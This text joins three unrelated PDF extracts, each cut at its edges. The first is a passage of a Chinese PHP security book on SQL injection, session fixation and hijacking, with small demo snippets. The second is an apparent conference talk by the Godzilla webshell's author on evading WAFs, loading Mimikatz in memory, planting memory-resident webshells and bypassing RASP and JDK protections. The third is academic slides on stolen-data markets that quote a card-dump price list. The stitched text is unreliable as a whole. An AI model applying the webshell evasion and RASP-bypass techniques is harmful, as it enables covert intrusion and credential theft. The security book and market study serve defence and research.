INTO user (last_name) VALUES (?)'; $dbh->query($sql, array($clean['last_name'])); ?> 由于在上例中数据不能直接影响查询语句的格式,SQL 注入的风险就降低 了。PEAR::DB 会自动根据你的数据库的要求进行转义,所以你只需要过滤输出 即可。 如果你正在使用参数化查询语句,输入的内容就只会作为数据来处理。这样 《PHP 安全基础详解》 www.528163.cn 提供 就没有必要进行转义了,尽管你可能认为这是必要的一步(如果你希望坚持转义 输出习惯的话)。实际上,这时是否转义基本上不会产生影响,因为这时没有特 殊字符需要转换。在防止 SQL 注入这一点上,参数化查询语句为你的程序提供 了强大的保护。 译注:关于 SQL 注入,不得不说的是现在大多虚拟主机都会把 magic_quotes_gpc 选项打开,在这种情况下所有的客户端 GET 和 POST 的数据 都会自动进行 addslashes 处理,所以此时对字符串值的 SQL 注入是不可行的, 但要防止对数字值的 SQL 注入,如用 intval()等函数进行处理。但如果你编写的 是通用软件,则需要读取服务器的 magic_quotes_gpc 后进行相应处理。 3.3. 数据的暴露 数据的暴露 数据的暴露 数据的暴露 关于数据库,另外需要关心的一点是敏感数据的暴露。不管你是否保存了信 用卡号,社会保险号,或其它数据,你还是希望确认数据库是安全的。 虽然数据库安全已经超出了本书所讨论的范围(也不是 PHP 开发者要负责 的),但是你可以加密最敏感的数据,这样只要密钥不泄露,数据库的安全问题 就不会造成灾难性的后果。(关于加密的详细介绍参见本书附录 C) 第四章 第四章 第四章 第四章 会话与 会话与 会话与 会话与 Cookies 本章主要讨论会话和有状态的 Web 应用的内在风险。你会首先学习状态、 cookies、与会话;然后我会讨论关于 cookie 盗窃、会话数据暴露、会话固定、 及会话劫持的问题及防范它们的方法。 正如大家知道的,HTTP 是一种无状态的协议。这说明了两个 HTTP 请求之 间缺乏联系。由于协议中未提供任何让客户端标识自己的方法,因此服务器也就 无法区分客户端。 虽然 HTTP 无状态的特性还是有一些好处,毕竟维护状态是比较麻烦的,但 是它向需要开发有状态的 Web 应用的开发人员提出了前所未有的挑战。由于无 法标识客户端,就不可能确认用户是否已登录,在购物车中加入商品,或者是需 要注册。 一个最初由网景公司构思的超强解决方案诞生了,它就是被命名为 cookies 的一种状态管理机制。Cookies 是对 HTTP 协议的扩充。更确切地说,它们由两 个 HTTP 头部组成:Set-Cookie 响应头部和 Cookie 请求头部。 当客户端发出对一个特定 URL 的请求时,服务器会在响应时选择包含一个 《PHP 安全基础详解》 www.528163.cn 提供 Set-Cookie 头部。它要求客户端在下面的请求中包含一个相就的 Cookie 头部。 图 4-1 说明了这个基本的交互过程。 图 4-1. 两个 HTTP 事务间 Cookie 的完整交互过程 如果你根据这个基本概念在每一个请求中包含同一个唯一标识码(在 cookie 头部中),你就能唯一标识客户端从而把它发出的所有请求联系起来。这就是状 态所要求的,同时也是这一机制的主要应用。 小提示 迄今为止,最好的 cookies 使用指南依然是网景公司提供的规范,网址是: http://wp.netscape.com/newsref/std/cookie_spec.html 。它是最类似和接近于全行业 支持的标准。 基于会话管理的概念,可以通过管理每一个客户端的各自数据来管理状态。 数据被存储在会话存储区中,通过每一次请求进行更新。由于会话记录在存储时 有唯一的标识,因此它通常被称为会话标识。 如果你使用 PHP 内建的会话机制,所有的这些复杂过程都会由 PHP 为你处 理。当你调用函数 session_start()时,PHP 首先要确认在本次请求中是否包含会 话标识。如果有的话,PHP 就会读取该会话数据并通过$_SESSION 超级公用数 组提供给你。如果不存在,PHP 会生成一个会话标识并在会话存储区建立一个新 记录。PHP 还会处理会话标识的传递并在每一个请求时更新会话存储区。图 4-2 演示了这个过程。 虽然这很简便有效,但最重要的还是要意识到这并不是一个完整的解决方 案,因为在 PHP 的会话机制中没有内建的安全处理。除此之外,由于会话标识 是完全随机产生的,因此是不可预测的。你必须自行建立安全机制以防止所有其 它的会话攻击手段。在本章中,我会提出一些问题,并提供相应的解决方案。 4.1. Cookie 盗窃 盗窃 盗窃 盗窃 因使用 Cookie 而产生的一个风险是用户的 cookie 会被攻击者所盗窃。如果 会话标识保存在 cookie 中,cookie 的暴露就是一个严重的风险,因为它能导致会 话劫持。 图 4-2. PHP 为你处理相关会话管理的复杂过程 最常见的 cookie 暴露原因是浏览器漏洞和跨站脚本攻击(见第 2 章)。虽然 现在并没有已知的该类浏览器漏洞,但是以往出现过几例,其中最有名的一例同 时发生在 IE 浏览器的 4.0,5.0,5.5 及 6.0 版本(这些漏洞都有相应补丁提供)。 《PHP 安全基础详解》 www.528163.cn 提供 虽然浏览器漏洞的确不是 web 开发人员的错,但是你可以采取步骤以减轻 它对用户的威胁。在某些情况下,你可能通过使用一些安全措施有效地消除风险。 至少你可以告诉和指导用户打上修正漏洞的安全补丁。 基于以上原因,知道新的安全漏洞是很有必要的。你可以跟踪下面提供的几 个网站和邮件列表,同时有很多服务提供了 RSS 推送,因此只要订阅 RSS 即可 以得到新安全漏洞的警告。SecurityFocus 网站维护着一系列软件漏洞的列表 (http://online.securityfocus.com/vulnerabilities),你可以通过开发商、主题和版本 进行检索。PHP 安全协会也维护着 SecurityFocus 的所有最新通知。 (http://phpsec.org/projects/vulnerabilities/securityfocus.html) 跨站脚本攻击是攻击者盗窃 cookie 的更为常见的手段。其中之一已有第二 章中描述。由于客户端脚本能访问 cookies,攻击者所要的送是写一段传送数据 的脚本即可。唯一能限制这种情况发生的因素只有攻击者的创造力了。 防止 cookie 盗窃的手段是通过防止跨站脚本漏洞和检测导致 cookie 暴露的 浏览器漏洞相结合。由于后者非常少见(此类漏洞将来也会比较罕见),所以它 并不是需要关心的首要问题,但还是最好要紧记。 4.2. 会话数据暴露 会话数据暴露 会话数据暴露 会话数据暴露 会话数据常会包含一些个人信息和其它敏感数据。基于这个原因,会话数据 的暴露是被普遍关心的问题。一般来说,暴露的范围不会很大,因为会话数据是 保存在服务器环境中的,而不是在数据库或文件系统中。因此,会话数据自然不 会公开暴露。 使用 SSL 是一种特别有效的手段,它可以使数据在服务器和客户端之间传 送时暴露的可能性降到最低。这对于传送敏感数据的应用来说非常重要。SSL 在 HTTP 之上提供了一个保护层,以使所有在 HTTP 请求和应答中的数据都得到了 保护。 如果你关心的是会话数据保存区本身的安全,你可以对会话数据进行加密, 这样没有正确的密钥就无法读取它的内容。这在 PHP 中非常容易做到,你只要 使用 session_set_save_handler( )并写上你自己的 session 加密存储和解密读取的处 理函数即可。关于加密会话数据保存区的问题,参见附录 C。 4.3. 会话固定 会话固定 会话固定 会话固定 关于会话,需要关注的主要问题是会话标识的保密性问题。如果它是保密的, 就不会存在会话劫持的风险了。通过一个合法的会话标识,一个攻击者可以非常 成功地冒充成为你的某一个用户。 一个攻击者可以通过三种方法来取得合法的会话标识: l 猜测 l 捕获 《PHP 安全基础详解》 www.528163.cn 提供 l 固定 PHP 生成的是随机性很强的会话标识,所以被猜测的风险是不存在的。常见 的是通过捕获网络通信数据以得到会话标识。为了避免会话标识被捕获的风险, 可以使用 SSL,同时还要对浏览器漏洞及时修补。 小提示 要记住浏览器会根据请求中的 Set-cookie 头部中的要求对之后所有的请求中 都包含一个相应的 Cookie 头部。最常见的是,会话标识会无谓的在对一些嵌入 资源如图片的请求中被暴露。例如,请求一个包含 10 个图片的网页时,浏览器 会发出 11 个带有会话标识的请求,但只有一个是有必要带有标识的。为了防止 这种无谓的暴露,你可以考虑把所有的嵌入资源放在有另外一个域名的服务器 上。 会话固定是一种诱骗受害者使用攻击者指定的会话标识的攻击手段。这是攻 击者获取合法会话标识的最简单的方法。 在这个最简单的例子中,使用了一个链接进行会话固定攻击: Click Here 另外一个方法是使用一个协议级别的转向语句: header('Location: http://example.org/index.php?PHPSESSID=1234'); ?> 这也可以通过 Refresh 头部来进行,产生该头部的方法是通过真正的 HTTP 头部或 meta 标签的 http-equiv 属性指定。攻击者的目标是让用户访问包含有攻击 者指定的会话标识的 URL。这是一个基本的攻击的第一步,完整的攻击过程见 图 4-3 所示。 Figure 4-3. 使用攻击者指定的会话标识进行的会话固定攻击 如果成功了,攻击者就能绕过抓取或猜测合法会话标识的需要,这就使发起 更多和更危险的攻击成为可能。 为了更好地使你理解这一步骤,最好的办法是你自己尝试一下。首先建立一 个名为 fixation.php 的脚本: session_start(); $_SESSION['username'] = 'chris'; ?> 确认你没有保存着任何当前服务器的 cookies,或通过清除所有的 cookies 以 确保这一点。通过包含 PHPSESSID 的 URL 访问 fixation.php: http://example.org/fixation.php?PHPSESSID=1234 它建立了一个值为 chris 的会话变量 username。在检查会话存储区后发现 1234 成为了该数据的会话标识: $ cat /tmp/sess_1234username|s:5:"chris"; 建立第二段脚本 test.php,它在$_SESSION[‘username’] 存在的情况下即 输入出该值: session_start(); if (isset($_SESSION['username'])) { 《PHP 安全基础详解》 www.528163.cn 提供 echo $_SESSION['username']; } ?> 在另外一台计算机上或者在另一个浏览器中访问下面的 URL,同时该 URL 指定了相同的会话标识: http://example.org/test.php?PHPSESSID=1234 这使你可以在另一台计算机上或浏览器中(模仿攻击者所在位置)恢复前面 在 fixation.php 中建立的会话。这样,你就作为一个攻击者成功地劫持了一个会 话。 很明显,我们不希望这种情况发生。因为通过上面的方法,攻击者会提供一 个到你的应用的链接,只要通过这个链接对你的网站进行访问的用户都会使用攻 击者所指定的会话标识。 产生这个问题的一个原因是会话是由 URL 中的会话标识所建立的。当没有 指定会话标识时,PHP 就会自动产生一个。这就为攻击者大开了方便之门。幸运 的是,我们以可以使用 session_regenerate_id( )函数来防止这种情况的发生。 session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = TRUE; } ?> 这就保证了在会话初始化时能有一个全新的会话标识。可是,这并不是防止 会话固定攻击的有效解决方案。攻击者能简单地通过访问你的网站,确定 PHP 给出的会话标识,并且在会话固定攻击中使用该会话标识。这确实使攻击者没有 机会去指定一个简单的会话标识,如 1234,但攻击者依然可以通过检查 cookie 或 URL(依赖于标识的传递方式)得到 PHP 指定的会话标识。该流程如图 4-4 所示。 该图说明了会话的这个弱点,同时它可以帮助你理解该问题涉及的范围。会 话固定只是一个基础,攻击的目的是要取得一个能用来劫持会话的标识。这通常 用于这样的一个系统,在这个系统中,攻击者能合法取得较低的权限(该权限级 别只要能登录即可),这样劫持一个具有较高权限的会话是非常有用的。 如果会话标识在权限等级有改变时重新生成,就可以在事实上避开会话固定 的风险: $_SESSION['logged_in'] = FALSE; if (check_login()){ session_regenerate_id(); $_SESSION['logged_in'] = TRUE; } ?> Figure 4-4. 通过首先初始化会话进行会话固定攻击 《PHP 安全基础详解》 www.528163.cn 提供 小提示 我不推荐在每一页上重新生成会话标识。虽然这看起来确实是一个安全的方 法。但与在权限等级变化时重新生成会话标识相比,并没有提供更多的保护手段。 更重要的是,相反地它还会对你的合法用户产生影响,特别是会话标识通过 URL 传递时尤甚。用户可能会使用浏览器的访问历史机制去访问以前访问的页面,这 样该页上的链接就会指向一个不再存在的会话标识。 如果你只在权限等级变化时重新生成会话标识,同样的情况也有可以发生, 但是用户在访问权限变更前的页面时,不会因为会话丢失而奇怪,同时,这种情 况也不常见。 4.4. 会话劫持 会话劫持 会话劫持 会话劫持 最常见的针对会话的攻击手段是会话劫持。它是所有攻击者可以用来访问其 它人的会话的手段的总称。所有这些手段的第一步都是取得一个合法的会话标识 来伪装成合法用户,因此保证会话标识不被泄露非常重要。前面几节中关于会话 暴露和固定的知识能帮助你保证会话标识只有服务器及合法用户才能知道。 深度防范原则(见第一章)可以用在会话上,当会话标识不幸被攻击者知道 的情况下,一些不起眼的安全措施也会提供一些保护。作为一个关心安全的开发 者,你的目标应该是使前述的伪装过程变得更复杂。记住无论多小的障碍,都会 以你的应用提供保护。 把伪装过程变得更复杂的关键是加强验证。会话标识是验证的首要方法,同 时你可以用其它数据来补充它。你可以用的所有数据只是在每个 HTTP 请求中的 数据: GET / HTTP/1.1Host: example.orgUser-Agent: Firefox/1.0Accept: text/html, image/png, image/jpeg, image/gif, */* Cookie: PHPSESSID=1234 你应该意识到请求的一致性,并把不一致的行为认为是可疑行为。例如,虽 然 User-Agent(发出本请求的浏览器类型)头部是可选的,但是只要是发出该头部 的浏览器通常都不会变化它的值。如果你一个拥有 1234 的会话标识的用户在登 录后一直用 Mozilla Firfox 浏览器,突然转换成了 IE,这就比较可疑了。例如, 此时你可以用要求输入密码方式来减轻风险,同时在误报时,这也对合法用户产 生的冲击也比较小。你可以用下面的代码来检测 User-Agent 的一致性: session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Prompt for password */ exit; } } 《PHP 安全基础详解》 www.528163.cn 提供 else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?> 我观察过,在某些版本的 IE 浏览器中,用户正常访问一个网页和刷新一个 网页时发出的 Accept 头部信息不同,因此 Accept 头部不能用来判断一致性。 确保 User-Agent 头部信息一致的确是有效的,但如果会话标识通过 cookie 传递(推荐方式),有道理认为,如果攻击者能取得会话标识,他同时也能取得 其它 HTTP 头部。由于 cookie 暴露与浏览器漏洞或跨站脚本漏洞相关,受害者 需要访问攻击者的网站并暴露所有头部信息。所有攻击者要做的只是重建头部以 防止任何对头部信息一致性的检查。 比较好的方法是产生在 URL 中传递一个标记,可以认为这是第二种验证的 形式(虽然更弱)。使用这个方法需要进行一些编程工作,PHP 中没有相应的功 能。例如,假设标记保存在$token 中,你需要把它包含在所有你的应用的内部链 接中: $url = array(); $html = array(); $url['token'] = rawurlencode($token); $html['token'] = htmlentities($url['token'], ENT_QUOTES, 'UTF-8'); ?> Click Here 为了更方便地管理这个传递过程,你可能会把整个请求串放在一 个变量中。你可以把这个变量附加到所有链接后面,这样即便你一开始没有使用 该技巧,今后还是可以很方便地对你的代码作出变化。 该标记需要包含不可预测的内容,即便是在攻击者知道了受害者浏览器发出 的 HTTP 头部的全部信息也不行。一种方法是生成一个随机串作为标记: $string = $_SERVER['HTTP_USER_AGENT']; $string .= 'SHIFLETT'; $token = md5($string); $_SESSION['token'] = $token; ?> 当你使用随机串时(如 SHIFLETT),对它进行预测是不现实的。此时,捕 获标记将比预测标记更为方便,通过在 URL 中传递标记和在 cookie 中传递会话 标识,攻击时需要同时抓取它们二者。这样除非攻击者能够察看受害者发往你的 应用所有的 HTTP 请求原始信息才可以,因为在这种情况下所有内容都暴露了。 这种攻击方式实现起来非常困难(所以很罕见),要防止它需要使用 SSL。 有专家警告不要依赖于检查 User-Agent 的一致性。这是因为服务器群集中 的 HTTP 代理服务器会对 User-Agent 进行编辑,而本群集中的多个代理服务器 在编辑该值时可能会不一致。 如果你不希望依赖于检查 User-Agent 的一致性。你可以生成一个随机的标 记: $token = md5(uniqid(rand(), TRUE)); 《PHP 安全基础详解》 www.528163.cn 提供 $_SESSION['token'] = $token; ?> 这一方法的安全性虽然是弱一些,但它更可靠。上面的两个方法都对防止会 话劫持提供了强有力的手段。你需要做的是在安全性和可靠性之间作出平衡。
pdf
高级攻防下的WEBSHELL About Me 0 1 •"张一臣 BeichenDream; •"360政企安全-高级攻防实验室-安全研究资深工程师 •"JVM安全研究者 •"哥斯拉作者 目录 CONTENTS 0 1 01 PART"01 流量对抗 02 PART"02 武器化 03 PART"03 内存马 05 PART"05 Agent对抗 06 PART"06 正向代理 07 PART"07 哥斯拉插件扩展 04 PART"04 Java反射绕过 PART.01" 0 2 对抗流量审查 •" 伪装正常业务的流量 为什么要对抗流量审查 0 1 蚁剑 •"防止流量被他人窃取分析 •"不想被人发现异常流量 •"防止被WAF拦截 冰蝎 哥斯拉 三大常用webshell默认流量 将哥斯拉流量扩展成Html之扩展请求包 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 模仿某搜索引擎流量 1. 截取任意post表单请求数据 2. 选取rsv_t参数作为密码 3. 重新生成一个shell 密码为rsv_t的参数 4. 设置请求追加数据 将哥斯拉流量扩展成Html之扩展返回包 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 模仿某搜索引擎流量 5. 截取任意页面将shell放入任何位置 将哥斯拉流量扩展成Html之查看扩展成果 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 模仿某搜索引擎流量 6. 查看成果 它就像是正常的业务流量一样且可以被渲染 将哥斯拉流量扩展成Json之扩展请求包 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 模仿正常业务Json流量 1. 截取任意json请求数据 2. 生成一个默认的shell 3. 选取数据出现位置 这里选择encrypt参数尾部 4. 设置请求追加数据 将哥斯拉流量扩展成Json之扩展返回包 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 5. 手动解析encrypt值分离出哥斯拉流量 6. 将Payload的返回值赋值给result->user 7. 将result对象作为json输出 模仿正常业务Json流量 将哥斯拉流量扩展成json之查看扩展成果 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 9. 查看成果 它就像是正常的业务流量一样且可以被解析 模仿正常业务Json流量 哥斯拉流量扩展之查看扩展成果 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 PART.02" 0 2 将Webshell武器化 •" Pty •"内存加载 •" 后渗透 全交互的Pty"shell 0 1 •"Linux下采用python"pty模块 •"Windows"采用Winpty &"shellhost •"客户端使用jediterm解析Pty数据流 内置多个权限提升模块 0 1 •"BadPotato • SweetPotato • EfsPotato •"由于IIS是服务权限拥有模拟Token权限 所以提权利用使用稳定性比较高的Potato •"权限提升后哥斯拉会保存高权限token以供后利用做准备 •"权限提升后可直接以高权限账户运行Mimikatz •"这全过程都是在内存中运行的 没有任何文件落地 •"内存运行技术采用pe_to_shellcode 在内存中运行任意可执行程序 0 1 •"可自定义程序参数 •"支持x86/x64可执行程序 •"可自定义远程进程/pid 提权后一键运行Mimikatz 0 1 •"提权后可一键抓取系统密码 •"提权后可以以高权限执行shellcode •"直接以高权限用户上线msf/cs PART.03" 0 2 内存马 •" asp.net(iis)"""虚拟目录与MVC内存马 •" Java"Agent"通用内存马 •" 在仅执行命令情况下获得内存马 asp.net(iis)""内存马 0 1 •"为了获得更完整的控制功能 •"不会在磁盘残留文件 •"可绕过静态查杀 asp.net(iis)""虚拟目录内存马 0 1 •"asp.net在每个请求到达Page"Resource时会执行 HostingEnvironment.VirtualPathProvider.GetCacheKey获取缓存Key asp.net(iis)""虚拟目录内存马 0 1 •"所以我们可以把HostingEnvironment.VirtualPathProvider 替换成我们自己的实现类 这样每次执行请求都会触发我们的恶意类 asp.net"MVC内存马 0 1 •"刚刚我们讲到了虚拟目录内存马 而在MVC中 如果控制器拦截了所有的请求 就无法触发GetCacheKey方法 •"在.NET3.5以后新增System.Web.Routing.RouteTable.Routes类 里面存放了MVC所有的路由数据每次请求过来会触发GetRouteData方法 我们 可以把我们的路由插到第一位 在 GetRouteData做请求处理 Java通用agent内存马 0 1 • 总所周知Java Agent内存马与操作系统有关 •"在不同JDK中tools库也不同 •"在JDK9以后把库统一并内置在了JDK •"JDK9以后无法注入agent到自身进程 统一jdk tools GodzillaAgent 0 1 重写Java"tools库 native函数未链接时会抛出异常 利用这个特性可以遍历所有Machine获取到正确的Machine 编写通用内存马 0 1 •"大多数Java"web容器都是使用的标准servlet-api实现 •"servlet-api 有Servlet,Filter, Listener 三大应用组件 •"理论上来说要实现通用的内存马,我们要Hook所有的Servlet,Filter •"在Tomcat,Weblogic,Jboos,WebSphere,Jetty经过测试完美运行 •"正常访问页面就是正常页面 仅命令执行获取内存马 0 1 1." 从外网下载Godzilla"Agent"Jar包 2." 找到文件上传把Godzilla"Agent传上去 3." 使用bash命令分块写入Godzilla"Agent"Jar包 PART.04" 0 2 Java反射防御机制绕过 •"bypass"jdk16"security"module" •"bypass"jdk reflection Filter 绕过Java16新增的模块保护 0 1 •" Java16"新增模块保护功能 模块中的类只有在module-info显式导出时才能被其 他模块访问 导致大量不安全的类无法访问 •"不同的模块不能使用反射访问其私有字段以及私有方法 导致我们在jdk16之后 漏洞后利用开发受到大量限制 比如tomcat回显会反射Thread私有字段 在jdk16之 后无法再反射其私有字段 绕过Java16新增的模块保护 0 1 bypass"jdk16"security"module 先获取被反射类的Class模块然后通过Unsafe.objectFieldOffset 获取Class模块在内存的偏移地址 然后使用Unsafe.getAndSetObject方法将当前类的Class模块替 换成被反射类的Class模块 这样就可以反射其模块下所有类 的私有字段以及方法了 绕过Java Reflection Filter 0 1 •"Jdk 12-17"禁用了多个类成员字段 导致我们在编写 漏洞Exp以及后利用时受到限制 jdk.internal.reflect.Reflection 绕过Java Reflection Filter 0 1 由于受到Reflection Filter的限制 我们无法使用反射置空methodFilterMap和fieldFilterMap成员 但是我们可以获取到其class字节码定义一个匿名类 然后获取其字段在内存的偏移 然后使用unsafe"Api置空methodFilterMap和fieldFilterMap成员 PART.05" 0 2 Agent对抗 •" 通过JNI绕过Rasp •"通过Class重加载绕过Rasp 通过JNI绕过Rasp 0 1 •"自写JNI"native绕过 PASS需要适配系统 •"通过Web容器内置native函数绕过 YES •" 和Rasp说拜拜 Class重载绕过Rasp之从java虚拟机获得jvmti对象 0 1 获得jvmti对象 Jvm抛出没有能力重定义类 给Jvmti手动加上权能 Class重载绕过Rasp之定位JNI地址 0 1 1. 解析/proc/self/maps获得so内存偏移地址与路径 2. Elf导出函数相对地址+so内存偏移=绝对地址 3. 用函数绝对地址替换我们之前的硬编码地址 Class重载绕过Rasp之cpp转与位置无关的shellcode 0 1 •"不能使用函数 可以用内联函数替代 需要开启编译优化 •"关闭所有安全检查 •"使用基于堆栈的字符串 •"x32需要关闭pic 找到函数起始地址把函数复制出来 Class重载绕过Rasp之cpp转与位置无关的shellcode 0 1 1. 解析o文件定位函数偏移 2. 解析o文件获取函数大小 3. 把我们编写的函数复制出来 0 1 Class重载绕过Rasp之patchVM •"右图是JVM回调Java层Agent的流程图 •"native层收到重载类消息后会调用所有Agent的eventHandlerClassFileLoadHook事件 •"eventHandlerClassFileLoadHook事件会通过getJPLISEnvironment获取JPLISEnvironment上下文 •"JAVA层的Agent会自动在native层注册eventHandlerClassFileLoadHook事件到ClassFileLoadHook •"如果environment不为NULL"则调用Java层的transform方法 通知Agent Hook该类 •"Java类的加载或类重载JVM都会调用eventHandlerClassFileLoadHook事件 •"getJPLISEnvironment调用jvmtienv->GetEnvironmentLocalStorage 获取存储的JPLISEnvironment上下文 0 1 Class重载绕过Rasp之patchVM •"在我们UnHook之前我们需要把已有的Agent给“杀掉” 1. Hook Java层 InstrumentationImpl 不够Hack 3. Hook Native函数 Cool 2. Hook Java层 TransformerManager 不够Hack •"在Java层做UnHook容易被Agent拦截 0 1 Class重载绕过Rasp之patchVM 我们如果Hook"Java层的函数 很有可能被之前的Agent给拦掉 所以我们直接选择Hook Native层函数 在上面我们已经得知调用GetEnvironmentLocalStorage方法如果返回错误environment上下文会为NULL environment为NULL就不会调用Java层的transform方法 所以我们直接Hook GetEnvironmentLocalStorage 让它直接返回错误 Class重载绕过Rasp之编写native函数 0 1 1. 查找回调类 定位回调方法 2. 遍历所有已经加载到JVM的类 3. 调用回调方法进行类的修改 Class重载绕过Rasp之编写Java回调函数 0 1 以UnHook 命令执行 为例 我们从Jar包读取原始的类 替换掉被Hook的类 从视频可以看到我们成功通过重载绕过OpenRasp 0 1 Class重载绕过Rasp 0 1 •"支持绝大部分JDK 在以下Java发行版经过测试 • patchVM执行后 其它Agent再也无法注入当前JVM虚拟机 • 可以绕过国内外几乎所有公开的Rasp以及国内厂商自研Rasp •"不仅可以绕过Rasp还可以注入通用内存马 Java发行版 版本范围 Support2Bypass Agent OpenJDK 6+ 支持 OracleJDK 6+ 支持 ZuluJDK 6+ 支持 jrockit 6+ 支持 SapMachine 6+ 支持 Microsoft 6+ 支持 Kona"JDK 6+ 支持 LibericaJDK 6+ 支持 毕昇JDK 6+ 支持 PART.06" 0 2 不出网获得稳定代理 •" 通过Http"Chunk获得稳定隧道代理 •" 通过哥斯拉获得稳定隧道代理 Http chunk正向代理 0 1 分块传输编码(Chunked"transfer"encoding)是超 文本传输协议(HTTP)中的一种数据传输机制, 允许HTTP由应用服务器发送给客户端应用( 通常 是网页浏览器)的数据可以分成多个部分 Http chunk正向代理 0 1 优点: 1.""长连接不会中断 2.""仅需要发送一个Http请求 3.""速度很快 4.""可以在任何系统运行 缺点: 1.""不支持反向代理 Http chunk正向代理 0 1 Http"Chunk优点很多缺点很少 于是我开发了Chunk-Proxy 0 1 Chunk-proxy对各个Web容器的支持 容器 语言 是否支持双向流 是否支持长时间连接 Chunk-proxy是否支持 Tomcat Java 双向流 支持长连接 支持 Weblogic Java 双向流 支持长连接 支持 Jboos Java 双向流 支持长连接 支持 Resin Java 双向流 支持长连接 支持 Jetty Java 双向流 支持长连接 支持 websphere Java 双向流 支持长连接 支持 glassfish Java 双向流 支持长连接 支持 IIS C# 单向流 支持长链接 支持 哥斯拉正向代理 0 1 •"I/O多路复用 多个Socket共用一个隧道 • 数据传输协议基于二进制结构 •"传输流量加密 错误重试 重试校验 •"支持Socks代理和端口映射以及转发 •"支持负载均衡 不出网上线C2 0 1 PART.07" 0 2 开发后渗透插件 •" 通过哥斯拉Api 快速编写编写内存加载Mimikatz插件 编写哥斯拉插件 0 1 新建一个项目并把哥斯拉添加到依赖库 编写哥斯拉插件 0 1 1. 新建包 包名必须以shells.plugins.作者名 2. 新建一个 Swing Panel 编写哥斯拉插件 0 1 使用IDEA拖拽图形化界面 编写哥斯拉插件 0 1 1. 使用PluginAnnotation注解 2. 实现Plugin接口 3. 保存插件初始化时传入的上下文 4. 将Mimikatz复制到包目录下 编写哥斯拉插件 0 1 1. 为runButton添加单击事件 2. 通过getPlugin获取ShellcodeLoader插件 3. 读入Mimikatz到内存 4. 调用ShellcodeLoader在内存中加载PE 5. 将输出展示到resultTextArea 编写哥斯拉插件 0 1 1. 添加导出jar 2. 在导出中删除godzilla依赖 编写哥斯拉插件 0 1 在 配置->插件配置 导入我们编写的插件 编写哥斯拉插件 0 1 插件KconMimikatz成功被加载 点击Run按钮成功在内存运行Mimikatz 疑问与交流 哥斯拉下载连接:https://github.com/BeichenDream/Godzilla Rasp对抗代码 : https://github.com/BeichenDream/Kcon2021Code JDK对抗代码 : https://github.com/BeichenDream/Kcon2021Code Chunk-Proxy : https://github.com/BeichenDream/Chunk-Proxy GenericAgentTools : https://github.com/BeichenDream/GenericAgentTools 通用Java内存马: https://github.com/BeichenDream/GodzillaWebAgent M A N O E U V R E 感谢观看! KCon 汇聚黑客的智慧
pdf
Stolen Data Markets: An Economic and Organizational Assessment This project was supported by Award No. 2010-IJ-CX-1676, awarded by the National Institute of Justice, Office of Justice Programs, U.S. Department of Justice. The opinions, findings, and conclusions or recommendations expressed in this publication are those of the authors and do not reflect those of the Department of Justice. Thomas J. Holt Michigan State University holtt@msu.edu Olga Smirnova Eastern Carolina University Yi-Ting Chua Michigan State University Stolen Data Markets • There is an increasingly large body of research on the organization and dynamics of the market for stolen data – IRC (Franklin et al., 2007; Herley & Florencio, 2010; Holz et al., 2009; Honeynet Research Alliance, 2003; Thomas & Martin, 2006) – Forums (Chu et al., 2010; Holt & Lampke, 2010; Motoyama et al., 2011; Yip et al., 2013) Stolen Data Markets • Few studies have estimated the economics of the market or the organizational dynamics present • Herley and Florencio (2010) and Wehinger (2011) argue that there may be multiple markets operating at any point in time – Lower priced markets with greater risk for participants and minimal barriers to entry – Higher priced markets with insularity, trust, and organization The Present Study •This study is designed to address multiple questions: – What are the costs for goods and services in this market like and what conditions impact this economy? – What is the social organization of the market and how does it affect participants? – What are the network structures between individual participants and how do they resemble other criminal organizations? Data Sources: 13 Active Forums Forum Descriptive Statistics for Forums Sampled (n=13) Number of Threads Hosting Country Language 1 55 DE RU 2 128 US ENG 3 6 US RU 4 144 VG RU 5 89 UK RU 6 44 RU RU 7 202 RU ENG/RU 8 590 LV ENG 9 312 RU ENG/RU 10 35 DE RU 11 60 RU RU 12 71 NL RU 13 153 LU RU Economic Analyses- Products Sold Data Acquisition • Phishing • Skimmers • Data Breaches • Malware Data Sales • Dumps • CVV • Fullz • Bank Accounts • eBay and PayPal Accounts • Personal Information • Other Financial Products Data Manipulation • Real World • Cashout Services • Plastics • Virtual World • Drops • Money Transfers • Personal Identity Documents Associated Services Malware Spam and Scam Materials Dedicated Hosting Equipment Other Products and Services Organizational Analyses • This study utilizes the framework of organizational sophistication developed by Best and Luckenbill (1994) Forms of Organization Characteristics . Mutual Association Mutual Participation Division of Labor Extended Duration Loners No No No No Colleagues Yes No No No Peers Yes Yes No No Teams Yes Yes Yes No Formal Organizations Yes Yes Yes Yes Social Network Analyses The Markets and Their Operations The Sales Process Seller Posts an Ad in Forum • The sales process involves mutual association and participation ***Dumps Fresh Base ... EU-USA-CANADA-ASIA- OTHER.. Best Valid..*** PRICE LIST: *************USA*************** 1pcs CLASSIC/STANDARD= 20$ 1pcs GOLD/PLATINUM = 25$ 1pcs BUSINESS/SIGNATURE/PURCHASE/CORPORATE /WORLD = 30$ 1pcs AMEX = 20$ *************CANADA************ 1pcs CLASSIC/STANDARD = 50$ 1pcs GOLD/PLATINUM/BUSINESS/SIGNATURE/PURCH ASE/CORPORATE/WORLD = 70-200$ *******EUROPE & ASIA & LATIN & OTHERS********* ---[code 101 - non chip]--- 1pcs CLASSIC/STANDART = 110$ 1pcs GOLD/PLATINUM = 130$ 1pcs BUSINESS/SIGNATURE/PURCHASE/CORPORATE /WORLD = 150$ 1pcs INFINITE = 200$ *********************** The Sales Process Seller Posts an Ad in Forum • The sales process involves mutual association and 